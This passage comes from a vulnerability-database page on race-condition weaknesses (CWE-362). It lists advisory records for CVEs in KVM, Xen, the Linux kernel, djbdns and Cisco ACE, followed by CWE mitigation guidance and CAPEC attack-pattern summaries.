    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-09T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "KVM in the Linux kernel on Power8 processors has a conflicting use of HSTATE_HOST_R1 to store r1 state in kvmppc_hv_entry plus in kvmppc_{save,restore}_tm, leading to a stack corruption. Because of this, an attacker with the ability run code in kernel space of a guest VM can cause the host kernel to panic. There were two commits that, according to the reporter, introduced the vulnerability: f024ee098476 (\"KVM: PPC: Book3S HV: Pull out TM state save/restore into separate procedures\") 87a11bb6a7f7 (\"KVM: PPC: Book3S HV: Work around XER[SO] bug in fake suspend mode\") The former landed in 4.8, the latter in 4.17. This was fixed without realizing the impact in 4.18 with the following three commits, though it\u0027s believed the first is the only strictly necessary commit: 6f597c6b63b6 (\"KVM: PPC: Book3S PR: Add guest MSR parameter for kvmppc_save_tm()/kvmppc_restore_tm()\") 7b0e827c6970 (\"KVM: PPC: Book3S HV: Factor fake-suspend handling out of kvmppc_save/restore_tm\") 009c872a8bc4 (\"KVM: PPC: Book3S PR: Move kvmppc_save_tm/kvmppc_restore_tm to separate file\")",
  "id": "GHSA-7fx7-755p-qmjj",
  "modified": "2022-10-07T18:15:44Z",
  "published": "2022-05-24T17:14:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8834"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1867717"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4318-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/usn/usn-4318-1"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2020/04/06/2"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00035.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G44-3RF3-P4XF

Vulnerability from github – Published: 2022-05-24 22:01 – Updated: 2023-03-29 18:30
VLAI
Details

An issue was discovered in Xen through 4.12.x allowing x86 PV guest OS users to gain host OS privileges by leveraging race conditions in pagetable promotion and demotion operations. There are issues with restartable PV type change operations. To avoid using shadow pagetables for PV guests, Xen exposes the actual hardware pagetables to the guest. In order to prevent the guest from modifying these page tables directly, Xen keeps track of how pages are used using a type system; pages must be "promoted" before being used as a pagetable, and "demoted" before being used for any other type. Xen also allows for "recursive" promotions: i.e., an operating system promoting a page to an L4 pagetable may end up causing pages to be promoted to L3s, which may in turn cause pages to be promoted to L2s, and so on. These operations may take an arbitrarily large amount of time, and so must be re-startable. Unfortunately, making recursive pagetable promotion and demotion operations restartable is incredibly complicated, and the code contains several races which, if triggered, can cause Xen to drop or retain extra type counts, potentially allowing guests to get write access to in-use pagetables. A malicious PV guest administrator may be able to escalate their privilege to that of the host. All x86 systems with untrusted PV guests are vulnerable. HVM and PVH guests cannot exercise this vulnerability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-18421"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-31T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Xen through 4.12.x allowing x86 PV guest OS users to gain host OS privileges by leveraging race conditions in pagetable promotion and demotion operations. There are issues with restartable PV type change operations. To avoid using shadow pagetables for PV guests, Xen exposes the actual hardware pagetables to the guest. In order to prevent the guest from modifying these page tables directly, Xen keeps track of how pages are used using a type system; pages must be \"promoted\" before being used as a pagetable, and \"demoted\" before being used for any other type. Xen also allows for \"recursive\" promotions: i.e., an operating system promoting a page to an L4 pagetable may end up causing pages to be promoted to L3s, which may in turn cause pages to be promoted to L2s, and so on. These operations may take an arbitrarily large amount of time, and so must be re-startable. Unfortunately, making recursive pagetable promotion and demotion operations restartable is incredibly complicated, and the code contains several races which, if triggered, can cause Xen to drop or retain extra type counts, potentially allowing guests to get write access to in-use pagetables. A malicious PV guest administrator may be able to escalate their privilege to that of the host. All x86 systems with untrusted PV guests are vulnerable. HVM and PVH guests cannot exercise this vulnerability.",
  "id": "GHSA-7g44-3rf3-p4xf",
  "modified": "2023-03-29T18:30:28Z",
  "published": "2022-05-24T22:01:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18421"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2BQKX7M2RHCWDBKNPX4KEBI3MJIH6AYZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I5WWPW4BSZDDW7VHU427XTVXV7ROOFFW"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZYATWNUGHRBG6I3TC24YHP5Y3J7I6KH"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2020/Jan/21"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202003-56"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4602"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-11/msg00037.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/10/31/3"
    },
    {
      "type": "WEB",
      "url": "http://xenbits.xen.org/xsa/advisory-299.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G56-3WMH-7X3P

Vulnerability from github – Published: 2024-04-03 15:30 – Updated: 2025-03-17 18:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

hv_netvsc: Fix race condition between netvsc_probe and netvsc_remove

In commit ac5047671758 ("hv_netvsc: Disable NAPI before closing the VMBus channel"), napi_disable was getting called for all channels, including all subchannels without confirming if they are enabled or not.

This caused hv_netvsc getting hung at napi_disable, when netvsc_probe() has finished running but nvdev->subchan_work has not started yet. netvsc_subchan_work() -> rndis_set_subchannel() has not created the sub-channels and because of that netvsc_sc_open() is not running. netvsc_remove() calls cancel_work_sync(&nvdev->subchan_work), for which netvsc_subchan_work did not run.

netif_napi_add() sets the bit NAPI_STATE_SCHED because it ensures NAPI cannot be scheduled. Then netvsc_sc_open() -> napi_enable will clear the NAPIF_STATE_SCHED bit, so it can be scheduled. napi_disable() does the opposite.

Now during netvsc_device_remove(), when napi_disable is called for those subchannels, napi_disable gets stuck on infinite msleep.

This fix addresses this problem by ensuring that napi_disable() is not getting called for non-enabled NAPI struct. But netif_napi_del() is still necessary for these non-enabled NAPI struct for cleanup purpose.

Call trace: [ 654.559417] task:modprobe state:D stack: 0 pid: 2321 ppid: 1091 flags:0x00004002 [ 654.568030] Call Trace: [ 654.571221] [ 654.573790] __schedule+0x2d6/0x960 [ 654.577733] schedule+0x69/0xf0 [ 654.581214] schedule_timeout+0x87/0x140 [ 654.585463] ? __bpf_trace_tick_stop+0x20/0x20 [ 654.590291] msleep+0x2d/0x40 [ 654.593625] napi_disable+0x2b/0x80 [ 654.597437] netvsc_device_remove+0x8a/0x1f0 [hv_netvsc] [ 654.603935] rndis_filter_device_remove+0x194/0x1c0 [hv_netvsc] [ 654.611101] ? do_wait_intr+0xb0/0xb0 [ 654.615753] netvsc_remove+0x7c/0x120 [hv_netvsc] [ 654.621675] vmbus_remove+0x27/0x40 [hv_vmbus]

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-26698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-03T15:15:52Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nhv_netvsc: Fix race condition between netvsc_probe and netvsc_remove\n\nIn commit ac5047671758 (\"hv_netvsc: Disable NAPI before closing the\nVMBus channel\"), napi_disable was getting called for all channels,\nincluding all subchannels without confirming if they are enabled or not.\n\nThis caused hv_netvsc getting hung at napi_disable, when netvsc_probe()\nhas finished running but nvdev-\u003esubchan_work has not started yet.\nnetvsc_subchan_work() -\u003e rndis_set_subchannel() has not created the\nsub-channels and because of that netvsc_sc_open() is not running.\nnetvsc_remove() calls cancel_work_sync(\u0026nvdev-\u003esubchan_work), for which\nnetvsc_subchan_work did not run.\n\nnetif_napi_add() sets the bit NAPI_STATE_SCHED because it ensures NAPI\ncannot be scheduled. Then netvsc_sc_open() -\u003e napi_enable will clear the\nNAPIF_STATE_SCHED bit, so it can be scheduled. napi_disable() does the\nopposite.\n\nNow during netvsc_device_remove(), when napi_disable is called for those\nsubchannels, napi_disable gets stuck on infinite msleep.\n\nThis fix addresses this problem by ensuring that napi_disable() is not\ngetting called for non-enabled NAPI struct.\nBut netif_napi_del() is still necessary for these non-enabled NAPI struct\nfor cleanup purpose.\n\nCall trace:\n[  654.559417] task:modprobe        state:D stack:    0 pid: 2321 ppid:  1091 flags:0x00004002\n[  654.568030] Call Trace:\n[  654.571221]  \u003cTASK\u003e\n[  654.573790]  __schedule+0x2d6/0x960\n[  654.577733]  schedule+0x69/0xf0\n[  654.581214]  schedule_timeout+0x87/0x140\n[  654.585463]  ? __bpf_trace_tick_stop+0x20/0x20\n[  654.590291]  msleep+0x2d/0x40\n[  654.593625]  napi_disable+0x2b/0x80\n[  654.597437]  netvsc_device_remove+0x8a/0x1f0 [hv_netvsc]\n[  654.603935]  rndis_filter_device_remove+0x194/0x1c0 [hv_netvsc]\n[  654.611101]  ? do_wait_intr+0xb0/0xb0\n[  654.615753]  netvsc_remove+0x7c/0x120 [hv_netvsc]\n[  654.621675]  vmbus_remove+0x27/0x40 [hv_vmbus]",
  "id": "GHSA-7g56-3wmh-7x3p",
  "modified": "2025-03-17T18:31:38Z",
  "published": "2024-04-03T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26698"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0e8875de9dad12805ff66e92cd5edea6a421f1cd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/22a77c0f5b8233237731df3288d067af51a2fd7b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/48a8ccccffbae10c91d31fc872db5c31aba07518"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7656372ae190e54e8c8cf1039725a5ea59fdf84a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9ec807e7b6f5fcf9499f3baa69f254bb239a847f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e0526ec5360a48ad3ab2e26e802b0532302a7e11"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GJ4-9VX9-5HMQ

Vulnerability from github – Published: 2022-05-17 00:26 – Updated: 2022-05-17 00:26
VLAI
Details

Race condition in net/packet/af_packet.c in the Linux kernel before 4.9.13 allows local users to cause a denial of service (use-after-free) or possibly have unspecified other impact via a multithreaded application that makes PACKET_FANOUT setsockopt system calls.

Severity
7.0 (High)
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-6346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-01T20:59:00Z",
    "severity": "HIGH"
  },
  "details": "Race condition in net/packet/af_packet.c in the Linux kernel before 4.9.13 allows local users to cause a denial of service (use-after-free) or possibly have unspecified other impact via a multithreaded application that makes PACKET_FANOUT setsockopt system calls.",
  "id": "GHSA-7gj4-9vx9-5hmq",
  "modified": "2022-05-17T00:26:57Z",
  "published": "2022-05-17T00:26:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6346"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/d199fab63c11998a602205f7ee7ff7c05c97164b"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2017-09-01"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d199fab63c11998a602205f7ee7ff7c05c97164b"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3804"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.13"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/02/28/6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96508"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GP8-9GJG-F43H

Vulnerability from github – Published: 2022-05-02 00:09 – Updated: 2025-04-09 04:05
VLAI
Details

dnscache in Daniel J. Bernstein djbdns 1.05 does not prevent simultaneous identical outbound DNS queries, which makes it easier for remote attackers to spoof DNS responses, as demonstrated by a spoofed A record in the Additional section of a response to a Start of Authority (SOA) query.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-4392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-02-19T16:30:00Z",
    "severity": "MODERATE"
  },
  "details": "dnscache in Daniel J. Bernstein djbdns 1.05 does not prevent simultaneous identical outbound DNS queries, which makes it easier for remote attackers to spoof DNS responses, as demonstrated by a spoofed A record in the Additional section of a response to a Start of Authority (SOA) query.",
  "id": "GHSA-7gp8-9gjg-f43h",
  "modified": "2025-04-09T04:05:01Z",
  "published": "2022-05-02T00:09:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4392"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/48807"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33855"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/33818"
    },
    {
      "type": "WEB",
      "url": "http://www.your.org/dnscache"
    },
    {
      "type": "WEB",
      "url": "http://www.your.org/dnscache/djbdns.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7GV3-H552-264C

Vulnerability from github – Published: 2022-05-17 05:13 – Updated: 2022-05-17 05:13
VLAI
Details

Cisco Application Control Engine (ACE) before A4(2.3) and A5 before A5(1.1), when multicontext mode is enabled, does not properly share a management IP address among multiple contexts, which allows remote authenticated administrators to bypass intended access restrictions in opportunistic circumstances, and read or modify configuration settings, via a login attempt to a context, aka Bug ID CSCts30631, a different vulnerability than CVE-2012-3058.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-3063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-06-20T20:55:00Z",
    "severity": "HIGH"
  },
  "details": "Cisco Application Control Engine (ACE) before A4(2.3) and A5 before A5(1.1), when multicontext mode is enabled, does not properly share a management IP address among multiple contexts, which allows remote authenticated administrators to bypass intended access restrictions in opportunistic circumstances, and read or modify configuration settings, via a login attempt to a context, aka Bug ID CSCts30631, a different vulnerability than CVE-2012-3058.",
  "id": "GHSA-7gv3-h552-264c",
  "modified": "2022-05-17T05:13:14Z",
  "published": "2022-05-17T05:13:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-3063"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120620-ace"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1027188"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7GX2-37RW-XC9H

Vulnerability from github – Published: 2025-03-12 00:31 – Updated: 2025-03-12 00:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

icmp: Fix a data-race around sysctl_icmp_errors_use_inbound_ifaddr.

While reading sysctl_icmp_errors_use_inbound_ifaddr, it can be changed concurrently. Thus, we need to add READ_ONCE() to its reader.

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-49632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T07:01:38Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nicmp: Fix a data-race around sysctl_icmp_errors_use_inbound_ifaddr.\n\nWhile reading sysctl_icmp_errors_use_inbound_ifaddr, it can be changed\nconcurrently.  Thus, we need to add READ_ONCE() to its reader.",
  "id": "GHSA-7gx2-37rw-xc9h",
  "modified": "2025-03-12T00:31:47Z",
  "published": "2025-03-12T00:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49632"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d2efabce81db7eed1c98fa1a3f203f0edd738ac3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/de9490c32bc10020efdd1509689a28f197d6dfb8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f9617844e4d5d6331dbce3fb19a24e5bda201e58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Mitigation
Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Mitigation
Architecture and Design
  • Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
  • Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Mitigation
Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Mitigation
Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Mitigation
Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Mitigation
Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Mitigation
Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

CAPEC-26: Leveraging Race Conditions

The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.

← Back to the CWE list